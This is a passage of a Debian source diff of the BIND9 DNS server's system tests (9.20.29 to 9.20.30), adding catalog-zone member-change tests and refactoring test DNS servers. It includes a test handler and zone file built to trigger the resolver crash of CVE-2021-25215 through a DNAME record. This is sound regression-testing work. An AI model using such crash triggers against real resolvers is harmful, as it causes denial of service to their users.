bind9-9.20.29/bin/tests/system/cap_glues/tests_cap_glues.py 2026-09-11 19:41:01.092321172 +0000 +++ bind9-9.20.30/bin/tests/system/cap_glues/tests_cap_glues.py 2026-10-12 13:12:07.960890354 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/case/tests_sh_case.py bind9-9.20.30/bin/tests/system/case/tests_sh_case.py --- bind9-9.20.29/bin/tests/system/case/tests_sh_case.py 2026-09-11 19:41:01.093321196 +0000 +++ bind9-9.20.30/bin/tests/system/case/tests_sh_case.py 2026-10-12 13:12:07.961890375 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/catz/tests.sh bind9-9.20.30/bin/tests/system/catz/tests.sh --- bind9-9.20.29/bin/tests/system/catz/tests.sh 2026-09-11 19:41:01.096321268 +0000 +++ bind9-9.20.30/bin/tests/system/catz/tests.sh 2026-10-12 13:12:07.964890439 +0000 @@ -3090,5 +3090,293 @@ status=$((status + ret)) ########################################################################## +# GL#6305, sub-case 1 +echo_i "Testing of changing the member zone while leaving the unique label the same" + +n=$((n + 1)) +echo_i "Adding a domain dom23.example. to primary ns1 via RNDC ($n)" +ret=0 +echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" >ns1/dom23.example.db +echo "@ IN NS invalid." >>ns1/dom23.example.db +echo "@ IN A 192.0.2.1" >>ns1/dom23.example.db +rndccmd 10.53.0.1 addzone dom23.example. in default '{type primary; file "dom23.example.db";};' || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom23.example. is served by primary ns1 ($n)" +ret=0 +wait_for_soa @10.53.0.1 dom23.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "Adding a domain dom24.example. to primary ns1 via RNDC ($n)" +ret=0 +echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" >ns1/dom24.example.db +echo "@ IN NS invalid." >>ns1/dom24.example.db +echo "@ IN A 192.0.2.1" >>ns1/dom24.example.db +rndccmd 10.53.0.1 addzone dom24.example. in default '{type primary; file "dom24.example.db";};' || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom24.example. is served by primary ns1 ($n)" +ret=0 +wait_for_soa @10.53.0.1 dom24.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "Adding domain dom23.example. to catalog1 zone with ns1 as primary ($n)" +ret=0 +$NSUPDATE -d <>nsupdate.out.test$n 2>&1 || ret=1 + server 10.53.0.1 ${PORT} + update add dom23-label.zones.catalog1.example. 3600 IN PTR dom23.example. + update add primaries.dom23-label.zones.catalog1.example. 3600 IN A 10.53.0.1 + send +END +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "waiting for secondary to sync up ($n)" +ret=0 +wait_for_message ns2/named.run "catz: adding zone 'dom23.example' from catalog 'catalog1.example'" \ + && wait_for_message ns2/named.run "transfer of 'dom23.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "checking that dom23.example. is served by secondary ($n)" +ret=0 +wait_for_a @10.53.0.2 dom23.example. dig.out.test$n || ret=1 +grep "192.0.2.1" dig.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "Changing the member zone from dom23.example. to dom24.example. while leaving the same label in the primary ($n)" +ret=0 +$NSUPDATE -d <>nsupdate.out.test$n 2>&1 || ret=1 + server 10.53.0.1 ${PORT} + update delete dom23-label.zones.catalog1.example. 3600 IN PTR dom23.example. + update add dom23-label.zones.catalog1.example. 3600 IN PTR dom24.example. + send +END +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "waiting for secondary to sync up ($n)" +ret=0 +wait_for_message ns2/named.run "catz: adding zone 'dom24.example' from catalog 'catalog1.example'" \ + && wait_for_message ns2/named.run "transfer of 'dom24.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom24.example. is served by secondary ($n)" +ret=0 +wait_for_a @10.53.0.2 dom24.example. dig.out.test$n || ret=1 +grep "192.0.2.1" dig.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom23.example. is no longer served by secondary ($n)" +ret=0 +wait_for_no_soa @10.53.0.2 dom23.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "Deleting domain dom24.example. from catalog1 ($n)" +ret=0 +$NSUPDATE -d <>nsupdate.out.test$n 2>&1 || ret=1 + server 10.53.0.1 ${PORT} + update delete dom23-label.zones.catalog1.example. 3600 IN PTR dom24.example. + update delete primaries.dom23-label.zones.catalog1.example. 3600 IN A 10.53.0.1 + send +END +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "waiting for secondary to sync up ($n)" +ret=0 +wait_for_message ns2/named.run "catz: update_from_db: new zone merged" || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom24.example. is no longer served by secondary ($n)" +ret=0 +wait_for_no_soa @10.53.0.2 dom24.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +########################################################################## +# GL#6305, sub-case 2 +echo_i "Testing of changing the member zone to a pre-existing zone while leaving the unique label the same" + +n=$((n + 1)) +echo_i "Adding a domain dom25.example. to primary ns1 via RNDC ($n)" +ret=0 +echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" >ns1/dom25.example.db +echo "@ IN NS invalid." >>ns1/dom25.example.db +echo "@ IN A 192.0.2.1" >>ns1/dom25.example.db +rndccmd 10.53.0.1 addzone dom25.example. in default '{type primary; file "dom25.example.db";};' || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom25.example. is served by primary ns1 ($n)" +ret=0 +wait_for_soa @10.53.0.1 dom25.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "Adding a domain dom26.example. to primary ns1 via RNDC ($n)" +ret=0 +echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" >ns1/dom26.example.db +echo "@ IN NS invalid." >>ns1/dom26.example.db +echo "@ IN A 192.0.2.1" >>ns1/dom26.example.db +rndccmd 10.53.0.1 addzone dom26.example. in default '{type primary; file "dom26.example.db";};' || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom26.example. is served by primary ns1 ($n)" +ret=0 +wait_for_soa @10.53.0.1 dom26.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "Adding a domain dom26.example. to secondary ns2 via RNDC ($n)" +ret=0 +echo "@ 3600 IN SOA . . 1 3600 3600 3600 3600" >ns2/dom26.example.db +echo "@ IN NS invalid." >>ns2/dom26.example.db +echo "@ IN A 192.0.2.2" >>ns2/dom26.example.db +rndccmd 10.53.0.2 addzone dom26.example. in default '{type primary; file "dom26.example.db";};' || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom26.example. is served by secondary ns2 ($n)" +ret=0 +wait_for_soa @10.53.0.2 dom26.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "Adding domain dom25.example. to catalog1 zone with ns1 as primary ($n)" +ret=0 +$NSUPDATE -d <>nsupdate.out.test$n 2>&1 || ret=1 + server 10.53.0.1 ${PORT} + update add dom25-label.zones.catalog1.example. 3600 IN PTR dom25.example. + update add primaries.dom25-label.zones.catalog1.example. 3600 IN A 10.53.0.1 + send +END +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "waiting for secondary to sync up ($n)" +ret=0 +wait_for_message ns2/named.run "catz: adding zone 'dom25.example' from catalog 'catalog1.example'" \ + && wait_for_message ns2/named.run "transfer of 'dom25.example/IN/default' from 10.53.0.1#${PORT}: Transfer status: success" || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "checking that dom25.example. is served by secondary ($n)" +ret=0 +wait_for_a @10.53.0.2 dom25.example. dig.out.test$n || ret=1 +grep "192.0.2.1" dig.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "Changing the member zone from dom25.example. to dom26.example. while leaving the same label in the primary ($n)" +ret=0 +$NSUPDATE -d <>nsupdate.out.test$n 2>&1 || ret=1 + server 10.53.0.1 ${PORT} + update delete dom25-label.zones.catalog1.example. 3600 IN PTR dom25.example. + update add dom25-label.zones.catalog1.example. 3600 IN PTR dom26.example. + send +END +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "waiting for secondary to sync up ($n)" +ret=0 +wait_for_message ns2/named.run "catz: adding zone 'dom26.example' from catalog 'catalog1.example'" \ + && wait_for_message ns2/named.run "catz_addmodzone_cb: zone 'dom26.example' will not be added because it is an explicitly configured zone" || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom26.example. is served by secondary and is the pre-existing zone ($n)" +ret=0 +wait_for_a @10.53.0.2 dom26.example. dig.out.test$n || ret=1 +grep "192.0.2.2" dig.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom25.example. is no longer served by secondary ($n)" +ret=0 +wait_for_no_soa @10.53.0.2 dom25.example. dig.out.test$n || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +nextpart ns2/named.run >/dev/null + +n=$((n + 1)) +echo_i "Deleting domain dom26.example. from catalog1 ($n)" +ret=0 +$NSUPDATE -d <>nsupdate.out.test$n 2>&1 || ret=1 + server 10.53.0.1 ${PORT} + update delete dom25-label.zones.catalog1.example. 3600 IN PTR dom26.example. + update delete primaries.dom25-label.zones.catalog1.example. 3600 IN A 10.53.0.1 + send +END +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "waiting for secondary to sync up ($n)" +ret=0 +wait_for_message ns2/named.run "catz: update_from_db: new zone merged" || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +n=$((n + 1)) +echo_i "checking that dom26.example. is still served by secondary ($n)" +ret=0 +wait_for_a @10.53.0.2 dom26.example. dig.out.test$n || ret=1 +grep "192.0.2.2" dig.out.test$n >/dev/null || ret=1 +if [ $ret -ne 0 ]; then echo_i "failed"; fi +status=$((status + ret)) + +########################################################################## echo_i "exit status: $status" [ $status -eq 0 ] || exit 1 diff -Nru bind9-9.20.29/bin/tests/system/catz/tests_sh_catz.py bind9-9.20.30/bin/tests/system/catz/tests_sh_catz.py --- bind9-9.20.29/bin/tests/system/catz/tests_sh_catz.py 2026-09-11 19:41:01.096321268 +0000 +++ bind9-9.20.30/bin/tests/system/catz/tests_sh_catz.py 2026-10-12 13:12:07.964890439 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/cdnxdomain/tests_cdnxdomain.py bind9-9.20.30/bin/tests/system/cdnxdomain/tests_cdnxdomain.py --- bind9-9.20.29/bin/tests/system/cdnxdomain/tests_cdnxdomain.py 2026-09-11 19:41:01.096321268 +0000 +++ bind9-9.20.30/bin/tests/system/cdnxdomain/tests_cdnxdomain.py 2026-10-12 13:12:07.964890439 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -80,7 +80,9 @@ def _serve(ns2, system_test_dir, variant): - """Make ns2 serve the 'full' or 'empty' (a.example-less) signed zone.""" + """ + Make ns2 serve the 'full' or 'empty' (a.example-less) signed zone. + """ src = system_test_dir / "ns2" / f"example-{variant}.db.signed" dst = system_test_dir / "ns2" / "example.db.signed" # Ensure that the modification time of 'dst' increases on @@ -96,11 +98,15 @@ st2 = os.stat(dst) if int(st2.st_mtime) <= int(st.st_mtime): os.utime(dst, (st2.st_atime, st.st_mtime + 1)) - ns2.reload() + with ns2.watch_log_from_here() as watcher: + ns2.rndc("reload") + watcher.wait_for_line("zone example/IN: loaded serial") def _prime_secure_a(ns1): - """Cache a.example/A at trust=secure and confirm it validated (AD=1).""" + """ + Cache a.example/A at trust=secure and confirm it validated (AD=1). + """ ns1.rndc("flush") res = isctest.query.tcp(isctest.query.create("a.example", "A"), RESOLVER) isctest.check.noerror(res) diff -Nru bind9-9.20.29/bin/tests/system/cds/tests_sh_cds.py bind9-9.20.30/bin/tests/system/cds/tests_sh_cds.py --- bind9-9.20.29/bin/tests/system/cds/tests_sh_cds.py 2026-09-11 19:41:01.097321293 +0000 +++ bind9-9.20.30/bin/tests/system/cds/tests_sh_cds.py 2026-10-12 13:12:07.965890461 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/chain/ans3/ans.py bind9-9.20.30/bin/tests/system/chain/ans3/ans.py --- bind9-9.20.29/bin/tests/system/chain/ans3/ans.py 2026-09-11 19:41:01.097321293 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans3/ans.py 2026-10-12 13:12:07.965890461 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -20,13 +18,9 @@ import dns.rrset import dns.zone -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QueryContext, - ResponseAction, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain def get_dname_rrset_at_name( @@ -41,17 +35,17 @@ return rrset -class CnameThenDnameHandler(DomainHandler): +class CnameThenDnameHandler(ResponseHandler): """ For certain trigger QNAMEs, insert a DNAME RRset after the CNAME chain prepared from zone data. """ - domains = ["example.broken."] + matcher = Domain("example.broken.") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: assert qctx.zone assert qctx.zone.origin @@ -66,7 +60,7 @@ yield DnsResponseSend(qctx.response) -class Cve202125215(DomainHandler): +class Cve202125215(ResponseHandler): """ Attempt to trigger the resolver variant of CVE-2021-25215. A `named` instance cannot be used for serving the DNAME records returned by this @@ -74,11 +68,11 @@ crash while answering the queries sent by the tested resolver. """ - domains = ["example.dname."] + matcher = Domain("example.dname.") async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: assert qctx.zone assert qctx.zone.origin diff -Nru bind9-9.20.29/bin/tests/system/chain/ans3/example.broken.db bind9-9.20.30/bin/tests/system/chain/ans3/example.broken.db --- bind9-9.20.29/bin/tests/system/chain/ans3/example.broken.db 2026-09-11 19:41:01.097321293 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans3/example.broken.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,29 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 60 SOA . . 0 0 0 0 0 - -@ 60 NS ns3 -ns3 60 A 10.53.0.3 - -cname-to-synth2-then-dname 60 CNAME name.synth2-then-dname - -name.synth-then-dname 60 CNAME name. -name.synth2-then-dname 60 CNAME name. - -; isctest.asyncserver does no special handling of DNAME records (e.g. by -; occluding names below them or synthesizing CNAMEs), so the following -; DNAME records are only returned for certain trigger QNAMEs (see -; CnameThenDnameHandler.get_responses() in ans3/ans.py) or if they are -; queried for explicitly. - -synth-then-dname 60 DNAME . -synth2-then-dname 60 DNAME . diff -Nru bind9-9.20.29/bin/tests/system/chain/ans3/example.dname.db bind9-9.20.30/bin/tests/system/chain/ans3/example.dname.db --- bind9-9.20.29/bin/tests/system/chain/ans3/example.dname.db 2026-09-11 19:41:01.097321293 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans3/example.dname.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,24 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 60 SOA . . 0 0 0 0 0 - -@ 60 NS ns3 -ns3 60 A 10.53.0.3 - -; isctest.asyncserver does no special handling of DNAME records (e.g. by -; occluding names below them or synthesizing CNAMEs), so the following -; DNAME record is only appended to responses by a custom response -; handler that attempts to trigger the resolver variant of -; CVE-2021-25215 in `named` (see Cve202125215Handler.get_responses() -; in ans3/ans.py) or when it is queried for explicitly. - -self 60 DNAME dname. diff -Nru bind9-9.20.29/bin/tests/system/chain/ans3/jeff.dname.db bind9-9.20.30/bin/tests/system/chain/ans3/jeff.dname.db --- bind9-9.20.29/bin/tests/system/chain/ans3/jeff.dname.db 2026-09-11 19:41:01.097321293 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans3/jeff.dname.db 1970-01-01 00:00:00.000000000 +0000 @@ -1,21 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 60 SOA . . 0 0 0 0 0 - -@ 60 NS ns -ns 60 A 10.53.0.3 - -; isctest.asyncserver does no special handling of DNAME records (e.g. by -; occluding names below them or synthesizing CNAMEs), so the following -; DNAME record is only returned when it is queried for explicitly. - -@ 60 DNAME mutt.example. diff -Nru bind9-9.20.29/bin/tests/system/chain/ans3/zones/example.broken.db bind9-9.20.30/bin/tests/system/chain/ans3/zones/example.broken.db --- bind9-9.20.29/bin/tests/system/chain/ans3/zones/example.broken.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans3/zones/example.broken.db 2026-10-12 13:12:07.965890461 +0000 @@ -0,0 +1,29 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 60 SOA . . 0 0 0 0 0 + +@ 60 NS ns3 +ns3 60 A 10.53.0.3 + +cname-to-synth2-then-dname 60 CNAME name.synth2-then-dname + +name.synth-then-dname 60 CNAME name. +name.synth2-then-dname 60 CNAME name. + +; isctest.asyncserver does no special handling of DNAME records (e.g. by +; occluding names below them or synthesizing CNAMEs), so the following +; DNAME records are only returned for certain trigger QNAMEs (see +; CnameThenDnameHandler.get_responses() in ans3/ans.py) or if they are +; queried for explicitly. + +synth-then-dname 60 DNAME . +synth2-then-dname 60 DNAME . diff -Nru bind9-9.20.29/bin/tests/system/chain/ans3/zones/example.dname.db bind9-9.20.30/bin/tests/system/chain/ans3/zones/example.dname.db --- bind9-9.20.29/bin/tests/system/chain/ans3/zones/example.dname.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans3/zones/example.dname.db 2026-10-12 13:12:07.965890461 +0000 @@ -0,0 +1,24 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 60 SOA . . 0 0 0 0 0 + +@ 60 NS ns3 +ns3 60 A 10.53.0.3 + +; isctest.asyncserver does no special handling of DNAME records (e.g. by +; occluding names below them or synthesizing CNAMEs), so the following +; DNAME record is only appended to responses by a custom response +; handler that attempts to trigger the resolver variant of +; CVE-2021-25215 in `named` (see Cve202125215Handler.get_responses() +; in ans3/ans.py) or when it is queried for explicitly. + +self 60 DNAME dname. diff -Nru bind9-9.20.29/bin/tests/system/chain/ans3/zones/jeff.dname.db bind9-9.20.30/bin/tests/system/chain/ans3/zones/jeff.dname.db --- bind9-9.20.29/bin/tests/system/chain/ans3/zones/jeff.dname.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans3/zones/jeff.dname.db 2026-10-12 13:12:07.965890461 +0000 @@ -0,0 +1,21 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +@ 60 SOA . . 0 0 0 0 0 + +@ 60 NS ns +ns 60 A 10.53.0.3 + +; isctest.asyncserver does no special handling of DNAME records (e.g. by +; occluding names below them or synthesizing CNAMEs), so the following +; DNAME record is only returned when it is queried for explicitly. + +@ 60 DNAME mutt.example. diff -Nru bind9-9.20.29/bin/tests/system/chain/ans4/ans.py bind9-9.20.30/bin/tests/system/chain/ans4/ans.py --- bind9-9.20.29/bin/tests/system/chain/ans4/ans.py 2026-09-11 19:41:01.098321317 +0000 +++ bind9-9.20.30/bin/tests/system/chain/ans4/ans.py 2026-10-12 13:12:07.966890482 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from dataclasses import dataclass @@ -28,11 +26,11 @@ from isctest.asyncserver import ( ControlCommand, ControllableAsyncDnsServer, - DnsResponseSend, - DomainHandler, QueryContext, - ResponseAction, + ResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Domain class ChainNameGenerator: @@ -408,7 +406,7 @@ return rrsets -class ChainResponseHandler(DomainHandler): +class ChainResponseHandler(ResponseHandler): """ For trigger queries (`test.domain.nil`), return a chained response previously prepared by `ChainSetupCommand`. @@ -416,7 +414,7 @@ For any other query, return a non-chained response (a single A RRset). """ - domains = ["domain.nil."] + matcher = Domain("domain.nil.") def __init__(self, answer_rrsets: list[dns.rrset.RRset]): super().__init__() @@ -424,7 +422,7 @@ async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: trigger_qname = dns.name.from_text("test.domain.nil.") if qctx.qname == trigger_qname: answer_rrsets = self._answer_rrsets diff -Nru bind9-9.20.29/bin/tests/system/chain/tests_sh_chain.py bind9-9.20.30/bin/tests/system/chain/tests_sh_chain.py --- bind9-9.20.29/bin/tests/system/chain/tests_sh_chain.py 2026-09-11 19:41:01.099321341 +0000 +++ bind9-9.20.30/bin/tests/system/chain/tests_sh_chain.py 2026-10-12 13:12:07.967890504 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional Binary files /srv/release.debian.org/tmp/Qt4XHBDe3O/bind9-9.20.29/bin/tests/system/checkconf/bad-embedded-null-02.conf and /srv/release.debian.org/tmp/2nqiShNlOr/bind9-9.20.30/bin/tests/system/checkconf/bad-embedded-null-02.conf differ diff -Nru bind9-9.20.29/bin/tests/system/checkconf/check-root-ksk-2026.conf bind9-9.20.30/bin/tests/system/checkconf/check-root-ksk-2026.conf --- bind9-9.20.29/bin/tests/system/checkconf/check-root-ksk-2026.conf 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/checkconf/check-root-ksk-2026.conf 2026-10-12 13:12:07.986890910 +0000 @@ -0,0 +1,7 @@ +trust-anchors { + # This key (38696) will be pre-published in the root zone in 2025 + # and is scheduled to begin signing in late 2026. At that time, + # servers which were already using the old key (20326) should roll + # seamlessly to this new one via RFC 5011 rollover. + . initial-ds 38696 8 2 "683D2D0ACB8C9B712A1948B27F741219298D0A450D612C483AF444A4C0FB2B16"; +}; Binary files /srv/release.debian.org/tmp/Qt4XHBDe3O/bind9-9.20.29/bin/tests/system/checkconf/good-embedded-null-00.conf and /srv/release.debian.org/tmp/2nqiShNlOr/bind9-9.20.30/bin/tests/system/checkconf/good-embedded-null-00.conf differ diff -Nru bind9-9.20.29/bin/tests/system/checkconf/tests.sh bind9-9.20.30/bin/tests/system/checkconf/tests.sh --- bind9-9.20.29/bin/tests/system/checkconf/tests.sh 2026-09-11 19:41:01.129322065 +0000 +++ bind9-9.20.30/bin/tests/system/checkconf/tests.sh 2026-10-12 13:12:07.996891124 +0000 @@ -28,6 +28,22 @@ status=$((status + ret)) n=$((n + 1)) +echo_i "checking that named-checkconf returns an error on a bad commandline ($n)" +ret=0 +$CHECKCONF "-?" good.conf >checkconf.out$n 2>&1 && ret=1 +grep "usage: named-checkconf" 